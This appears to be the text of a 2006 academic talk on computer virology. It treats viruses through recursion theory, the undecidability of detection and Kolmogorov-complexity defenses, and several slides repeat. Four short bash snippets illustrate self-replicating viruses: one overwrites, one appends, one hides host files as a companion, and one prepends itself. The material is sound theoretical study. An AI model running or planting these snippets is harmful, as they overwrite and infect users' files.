Recursion Theorem, Information Theory, a theoretical travel in virus land

Jean-Yves Marion

Ecole Nationale Supérieure des Mines de Nancy
Loria-INPL

May, 5th 2006

Outline

The historical Viruses

A very short introduction to computability

On abstract virology
- Blueprint duplication
- The smiths
- On polymorphism

Detection

Information Theory

Cohen's Virus (1985)

- Consider Turing Machine M
- and a Viral set V
- When a TM M reads $v \in V$, M produces $v' \in V$
- (M, V) is a description of a virus

Adleman's Virus (1988)

A total computable function $\mathcal{A}$ is a viral function

Injure

$$\forall \mathbf{p}, \mathbf{q} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r}, \mathbf{d}) = \varphi_{\mathcal{A}(\mathbf{q})}(\mathbf{r}, \mathbf{d})$$

Infect

$$\forall \mathbf{p} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r}, \mathbf{d}) = \langle \varepsilon_{\mathcal{A}}(\mathbf{r}'_1), \ldots, \varepsilon_{\mathcal{A}}(\mathbf{r}'_n), \mathbf{d}' \rangle$$

where $\varphi_{\mathbf{p}}(\mathbf{r}, \mathbf{d}) = \langle \mathbf{r}', \mathbf{d}' \rangle$ and $\varepsilon_{\mathcal{A}}$ is a computable selection function defined by

$$\varepsilon_{\mathcal{A}}(\mathbf{p}) = \begin{cases} \mathbf{p} \text{ or} \\ \mathcal{A}(\mathbf{p}) \end{cases}$$

Imitate

$$\forall \mathbf{p} \in \mathcal{D} \quad \varphi_{\mathcal{A}(\mathbf{p})}(\mathbf{r}, \mathbf{d}) = \varphi_{\mathbf{p}}(\mathbf{r}, \mathbf{d})$$

Von Neumann's Virus

- In 1952, Von Neumann constructs a model of self reproduction.
  - Cellular automaton with 29 states
- "A virus is a virus", Lwoff 1959
  - Fixed points in Logics,
  - λ-calculus
  - Turing Machines
  - Recursion theorems

What is a computer virus ?

Following Cohen :

1. Virus can infect programs by modifying them
2. Virus can copy itself and mutate
3. Virus can spread throughout a computer system

at least, for this talk . . .

What is a computer virus ?

Following Cohen :

1. Virus can infect programs by modifying them
2. Virus can copy itself and mutate
3. Virus can spread throughout a computer system

at least, for this talk . . .

References

- Rogers, *Rogers*, *Theory of recursive functions and effective computability*, 1967
- Jones, *Computability and Complexity, from a programming perspective*, MIT Press, 1997

Programming Languages

- A programming language φ is a mapping from programs to a domain.
- Suppose that **p** is a program
- $\varphi_{\mathbf{p}}$ is the function computed by **p**
- $\varphi_{\mathbf{p}}(x)$ is the result of the computation of **p** on the input x
- No distinction between programs and data

$$\varphi_{\mathbf{p}}(\mathbf{q}, \mathbf{q}', x) = \varphi_{\mathbf{q}}(\varphi_{\mathbf{q}'}(x))$$

Acceptable Programming Languages

A programming language φ is acceptable if

1. *Turing Completeness.* For any effectively computable partial function f, there is a program $\mathbf{p}$ such that

$$\varphi_{\mathbf{p}} \approx f$$

2. *Universality.* There is a effectively computable function U which satisfies that for any $\mathbf{p}, x \in \mathcal{D}$,

$$U(\mathbf{p}, x) = \varphi_{\mathbf{p}}(x)$$

3. *Iteration property.* There is a computable function S such that for any $\mathbf{p}, x$ and y

$$\varphi_{\mathbf{p}}(x, y) = \varphi_{S(\mathbf{p}, x)}(y)$$

Theorem (Kleene's Recursion Theorem)

If g is a semi-computable function, then there is a program **e** *such that*

$$\varphi_{\mathbf{e}}(x) = g(\mathbf{e}, x) \tag{1}$$

Proof.

Let **p** be a program of $g(S(y, y), x)$. We have

$$\begin{aligned} g(S(y, y), x) &= \varphi_{\mathbf{p}}(y, x) \\ &= \varphi_{S(\mathbf{p}, y)}(x) \end{aligned}$$

By setting $\mathbf{e} = S(\mathbf{p}, \mathbf{p})$, we have

$$\begin{aligned} g(\mathbf{e}, x) &= g(S(\mathbf{p}, \mathbf{p}), x) \\ &= \varphi_{S(\mathbf{p}, \mathbf{p})}(x) \\ &= \varphi_{\mathbf{e}}(x) \end{aligned}$$

1. *Blacksmith viruses and Invariance*, in preparation.
2. *On abstract computer virology: from a recursion-theoretic perspective*. Journal of computer virology, 1(3-4), 2006.
3. *Toward an abstract computer virology*. In ICTAC, LNCS 3722. Springer, Oct 2005, page 579–595.

Guillaume Bonfante, Matthieu Kaczmarek

A viral mechanism

Definition

- $\mathcal{B}$ is a propagation function.
- A virus is a program $\mathbf{v}$ s.t. for each $\mathbf{p}$ and x,

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \qquad (2)$$

- $\mathcal{B}(\mathbf{v}, \mathbf{p})$ is the infected form of $\mathbf{p}$ by $\mathbf{v}$.

- Capture and extend previous virus definition

A viral mechanism

Definition

- $\mathcal{B}$ is a propagation function.
- A virus is a program $\mathbf{v}$ s.t. for each $\mathbf{p}$ and x,

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{2}$$

- $\mathcal{B}(\mathbf{v}, \mathbf{p})$ is the infected form of $\mathbf{p}$ by $\mathbf{v}$.

- Capture and extend previous virus definition

Back to Recursion Thm

Fact

Given a propagation function $\mathcal{B}$, there is a virus **v** *s.t.*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{3}$$

Proof.

- It is a consequence of recursion Thm.
- there is a program **q** s.t.

$$\varphi_{\mathbf{q}}(y, \mathbf{p}, x) = \varphi_{\mathcal{B}(y,\mathbf{p})}(x) \tag{4}$$

By Recursion Thm, there is a program **v** s.t.

$$\begin{aligned} \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x) \\ &= \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) && \text{by (4)} \end{aligned}$$

So, **v** is a virus wrt propagation function $\mathcal{B}$.

Back to Recursion Thm

Fact

Given a propagation function $\mathcal{B}$, there is a virus **v** *s.t.*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{3}$$

Proof.

- It is a consequence of recursion Thm.
- there is a program **q** s.t.

$$\varphi_{\mathbf{q}}(y, \mathbf{p}, x) = \varphi_{\mathcal{B}(y,\mathbf{p})}(x) \tag{4}$$

By Recursion Thm, there is a program **v** s.t.

$$\begin{aligned} \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x) \\ &= \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) && \text{by (4)} \end{aligned}$$

So, **v** is a virus wrt propagation function $\mathcal{B}$.

Back to Recursion Thm

Fact

Given a propagation function $\mathcal{B}$, there is a virus $\mathbf{v}$ *s.t.*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \tag{3}$$

Proof.

- It is a consequence of recursion Thm.
- there is a program $\mathbf{q}$ s.t.

$$\varphi_{\mathbf{q}}(y, \mathbf{p}, x) = \varphi_{\mathcal{B}(y,\mathbf{p})}(x) \tag{4}$$

By Recursion Thm, there is a program $\mathbf{v}$ s.t.

$$\begin{aligned} \varphi_{\mathbf{v}}(\mathbf{p}, x) &= \varphi_{\mathbf{q}}(\mathbf{v}, \mathbf{p}, x) \\ &= \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) \qquad \text{by (4)} \end{aligned}$$

So, $\mathbf{v}$ is a virus wrt propagation function $\mathcal{B}$.

Self-reproducing viruses

1. Blueprint duplication
2. The Smith
3. Polymorphic Viruses

Outline

Blueprint duplication

Theorem

- *f is a virus behavior*
- *There is a virus* $\mathbf{v}$ *s.t.*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{v}, \mathbf{p}, x) \tag{5}$$

Proof.

The virus $\mathbf{v}$ is fixed point of f provided by Kleene's Recursion Thm.
Set $f \approx \varphi_{\mathbf{e}}$. Define $\mathcal{B}(\mathbf{v}, \mathbf{p}) = S(\mathbf{e}, \mathbf{v}, \mathbf{p})$. □

Overwriting viruses

```
for FName in * ; do # for all files
cp $0 $FName # Overwrite all the files
done
```

- Files are represented by a list of programs

$$(\mathbf{p}_1, \dots, \mathbf{p}_n)$$

- An overwriting virus **v** satisfies

$$\varphi_{\mathbf{v}}(\mathbf{p}_1, \dots, \mathbf{p}_n) = (\mathbf{v}, \dots, \mathbf{v})$$

Ecto-symbiotes

```
# for each file FName in the current path
for FName in *;do
 # if FName is not me
 if [ $FName != $0 ]; then
 # add myself at the end of FName
 cat $0 >> $FName
 fi
done
```

- Files are represented by a list of programs

$$(\mathbf{p}_1, \ldots, \mathbf{p}_n)$$

- An overwriting virus $\mathbf{v}$ satisfies

$$\varphi_{\mathbf{v}}(\mathbf{p}_1, \ldots, \mathbf{p}_n) = (\delta(\mathbf{v}, \mathbf{p}_1), \ldots, \delta(\mathbf{v}, \mathbf{p}_n))$$

- where $\delta(\mathbf{v}, \mathbf{p})$ concatenates $\mathbf{p}$ and $\mathbf{v}$.

Companion Viruses

```
# for each file FName in the current path
for FName in *;do
  if [ ! -e .$FName ]; then # if FName is not a companion
    mv $FName .$FName  # move FName to .FName
    cat $0 > $FName  # copy myself to FName
    # add the command "launch .FName"
    echo "bash .$FName" >> $FName
    # allow .FName to be executed
    chmod 544 .$FName
  fi
done
```

A companion virus satisfies an equation of the form

$$\varphi_{\mathbf{v}}(\mathbf{p}) = \mathbf{v}' \qquad \text{where } \forall x \in \mathcal{D}, \varphi_{\mathbf{v}'}(x) = \varphi_{\mathbf{p}}(\varphi_{\mathbf{v}}(x))$$

Outline

Explicit recursion Theorem

Theorem

- *Let f be a semi-computable function.*
- *There exists a fixed point generator Φ s.t.*

$$\varphi_{\Phi(y)}(x) = f(\mathbf{e}, y, x) \quad \textit{where } \mathbf{e} \textit{ is a program for } \Phi$$

Proof.

Let $\mathbf{q}$ be a program for f.
Apply Recursion Thm to $S(\mathbf{q}, z, y)$

$$\varphi_{\mathbf{e}}(y) = S(\mathbf{q}, \mathbf{e}, y)$$

Set $\Phi(y) = S(\mathbf{q}, \mathbf{e}, y)$ □

- A priori, a new result which extends classical recursion Thms of Myhill and Smullyan.

Reproduction through vectors

Theorem

- *f is a virus behavior*
- *There is a propagation function $\mathcal{B}$ and a virus* **v** *s.t.*

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{e}, \mathbf{v}, \mathbf{p}, x) \quad \textit{where } \mathbf{e} \textit{ is a program for } \mathcal{B}$$

Proof.

- A double fixed point Theorem :

$$\varphi_{\mathcal{B}(u,\mathbf{p})}(x) = f(\mathbf{e}, u, \mathbf{p}, x) \qquad \mathbf{e} \text{ is a prog for } \mathcal{B} \qquad (6)$$

$$\varphi_{\mathbf{v}}(\mathbf{p}, x) = f(\mathbf{e}, \mathbf{v}, \mathbf{p}, x) \qquad (7)$$

$\square$

Reproduction through vectors

A gentle Smith ($0):

$$\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathbf{q}) = \varphi_{\mathbf{p}}(\mathcal{B}(\mathbf{v},\mathbf{q}))$$

```
if [ ! -z $1]; then # if there is a host p
cat $1 > $1.bak # make a copy of $1
cat $0 > $1 # take the place
cat $1.bak >> $1 # concatenate hte host p
rm $1.bak # no trace !
$1 $2
```

The players : $\$0 = \mathbf{v}$, $\$1 = \mathbf{p}$, $\$2 = \mathbf{q}$,and $\mathcal{B}(\mathbf{v},\mathbf{p}) = \mathbf{v}.\mathbf{p}$.
The last line runs $\varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(\mathbf{q}) = \varphi_{\mathbf{p}}(\varphi_{v}(\mathbf{q})) = \varphi_{\mathbf{p}}(\mathcal{B}(\mathbf{v},\mathbf{q}))$

Outline

Polymorphic generators

Definition

A virus generator *Gen* is a bijective computable function such that for each i, $Gen(i)$ is a virus wrt some propagation function $\mathcal{B}_i$

Theorem

- *f is a semi-computable function.*
- *There is a virus generator Gen such that*

$$\varphi_{Gen(i)}(\mathbf{p}, x) = f(\mathbf{r}, i, \mathbf{p}, x) \quad \textit{where } \mathbf{r} \textit{ is a program for Gen}$$

A virus which outputs a new viral code after each run:

$$\varphi_{Gen(i)}(\mathbf{p}, x) = Gen(i + 1)$$

Viral Code detection

Definition

Given a propagation $\mathcal{B}$.

The set of viral codes is

$$V_{\mathcal{B}} = \{\mathbf{v} \mid \forall \mathbf{p}, x \ : \ \varphi_{\mathcal{B}(\mathbf{v},\mathbf{p})}(x) = \varphi_{\mathbf{v}}(\mathbf{p}, x)\}$$

Theorem

The question

Does x belong to $V_{\mathcal{B}}$?

is undecidable.

Detection of Infected Programs

Definition (Infected Set)

Given a virus $\mathbf{v}$ wrt $\mathcal{B}$, the *infected set* is

$$I_{\mathcal{B},\mathbf{v}} = \{\mathcal{B}(\mathbf{v},\mathbf{p}) \mid \mathbf{p} \in \mathcal{D}\} \quad . \tag{8}$$

Theorem

The question

Is $\mathbf{p}$ infected ? That is does $\mathbf{p}$ belong to $I_{\mathcal{B},\mathbf{v}}$?

is undecidable.

A focus on propagations

A scenario :

1. $\mathcal{B}(\mathbf{v},\mathbf{p})$ is the infected form of **p** by **v**.
2. Suppose that we c can retrieve
   - $\mathbf{v}'$ is a possibly evolved copy of **v**

$$\varphi_{V(\mathcal{B}(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{v}'}$$

   - and **p**

$$\varphi_{P(\mathcal{B}(\mathbf{v},\mathbf{p}))} \approx \varphi_{\mathbf{p}}$$

3. To avoid an easy detection of viruses,

$$|\mathcal{B}(\mathbf{v},\mathbf{p})| \leq |\mathbf{p}|$$

4. Information inequality :

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p})|$$

Information theory

- Complexity information theory leans on Kolmogorov complexity.
- The Kolmogorov complexity of a word x wrt $\varphi_{\mathbf{e}}$:

$$K_{\varphi_{\mathbf{e}}}(x) = \text{Min}\{|\mathbf{q}| \;\; \varphi_{\mathbf{e}}(\mathbf{q}) = x\}$$

Theorem (Fundamental Theorem)

There is universal program **u** *such that for any* **e**

$$K_{\varphi_{\mathbf{u}}}(x) \leq K_{\varphi_{\mathbf{e}}}(x) + c$$

where c is some constant.

c-compression as a defense

- A c-compression of $\mathbf{p}$ is a program $\mathbf{p}'$ s.t.
  1. $\varphi_{\mathbf{u}}(\mathbf{p}') = \mathbf{p}$
  2. $|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$
- Construct $\mathbf{u}'$ in such way that

$$\varphi_{\mathbf{u}'}(\mathbf{p}', x) = \varphi_{\varphi_{\mathbf{u}}(\mathbf{p}')}(x)\varphi_{\mathbf{p}}(x)$$

- System is c-compressed :
  - Each program is replaced by a c-compressed version
  - and an interpreter $\mathbf{u}$ is replaced by $\mathbf{u}'$.

c-compression as a defense

- A c-compression of $\mathbf{p}$ is a program $\mathbf{p}'$ s.t.
  1. $\varphi_{\mathbf{u}}(\mathbf{p}') = \mathbf{p}$
  2. $|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$
- Construct $\mathbf{u}'$ in such way that

$$\varphi_{\mathbf{u}'}(\mathbf{p}', x) = \varphi_{\varphi_{\mathbf{u}}(\mathbf{p}')}(x)\varphi_{\mathbf{p}}(x)$$

- System is c-compressed :
  - Each program is replaced by a c-compressed version
  - and an interpreter $\mathbf{u}$ is replaced by $\mathbf{u}'$.

c-compression as a defense

- A c-compression of $\mathbf{p}$ is a program $\mathbf{p}'$ s.t.
  1. $\varphi_{\mathbf{u}}(\mathbf{p}') = \mathbf{p}$
  2. $|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$
- Construct $\mathbf{u}'$ in such way that

$$\varphi_{\mathbf{u}'}(\mathbf{p}', x) = \varphi_{\varphi_{\mathbf{u}}(\mathbf{p}')}(x)\varphi_{\mathbf{p}}(x)$$

- System is c-compressed :
  - Each program is replaced by a c-compressed version
  - and an interpreter $\mathbf{u}$ is replaced by $\mathbf{u}'$.

The system is c-compressed

Suppose there is an attack
A virus $\mathbf{v}$ try to infects- $\mathbf{p}'$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p}')| \leq |\mathbf{p}'|$$

$$K_{\varphi_{\mathbf{u}}}(\mathbf{p}) \leq |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{p}'|$$

$$|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{v}| \leq c$$

Defense strategy:
Forbid to run any program of less than c-bits.

The system is c-compressed

Suppose there is an attack

A virus $\mathbf{v}$ try to infects- $\mathbf{p}'$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p}')| \leq |\mathbf{p}'|$$

$$K_{\varphi_{\mathbf{u}}}(\mathbf{p}) \leq |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{p}'|$$

$$|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{v}| \leq c$$

Defense strategy:

Forbid to run any program of less than c-bits.

The system is c-compressed

Suppose there is an attack
A virus $\mathbf{v}$ try to infects- $\mathbf{p}'$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p}')| \leq |\mathbf{p}'|$$

$$K_{\varphi_{\mathbf{u}}}(\mathbf{p}) \leq |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{p}'|$$

$$|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{v}| \leq c$$

Defense strategy:
Forbid to run any program of less than c-bits.

The system is c-compressed

Suppose there is an attack
A virus $\mathbf{v}$ try to infects- $\mathbf{p}'$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p}')| \leq |\mathbf{p}'|$$

$$K_{\varphi_{\mathbf{u}}}(\mathbf{p}) \leq |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{p}'|$$

$$|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{v}| \leq c$$

Defense strategy:
Forbid to run any program of less than c-bits.

The system is c-compressed

Suppose there is an attack
A virus $\mathbf{v}$ try to infects- $\mathbf{p}'$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| + |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| \leq |\mathcal{B}(\mathbf{v},\mathbf{p}')| \leq |\mathbf{p}'|$$

$$K_{\varphi_{\mathbf{u}}}(\mathbf{p}) \leq |P(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{p}'|$$

$$|\mathbf{p}'| \leq K_{\varphi_{\mathbf{u}}}(\mathbf{p}) + c$$

$$|V(\mathcal{B}(\mathbf{v},\mathbf{p}'))| = |\mathbf{v}| \leq c$$

Defense strategy:
Forbid to run any program of less than c-bits.

Conclusions

Computability as a meta-framework for computer virology

1. New insights in self-reproductions
2. Classifications of malwares
3. Structure of propagation functions, and invariance
4. Infection entropy
5. Time and space complexity of viruses